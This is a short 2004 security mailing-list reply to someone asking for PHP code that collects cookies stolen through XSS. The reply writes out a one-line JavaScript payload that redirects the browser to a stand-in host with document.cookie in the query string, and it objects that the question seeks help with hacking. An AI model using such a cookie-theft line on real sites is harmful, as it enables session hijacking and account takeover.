RE: xss php cookie-stealing code

["V. Poddubnyy" <vpoddubniy () mail ru>]

Hello,

And what do you write in your javascript?

If smth. like this:

window.location = 'http://mysite/myphp.php?cookie=' + document.cookie;

Then your cookie will be stored in the Query_string, in 'cookie' variable...
So, the cookie is stored where you stored it...

--

And I think this is not a good list for asking such questions. This looks
like asking for assiatance in hacking, not in security.

--
Best regards,
 Vladimir Poddubnyy 

> -----Original Message-----
> From: Abdel Wahab [mailto:abdelwahab () gmail com] 
> Sent: Monday, September 27, 2004 5:33 PM
> To: webappsec () securityfocus com
> Subject: xss php cookie-stealing code
>
> hello people ,
> i want the simplest  php code that stores cookies in a file 
> or send it by email , when i redirect the cookie vars to that 
> script through out an xss java script injecting vulnerabilities..
> i code some php , my problem , is what is the variable which 
> the cookies value stored in ??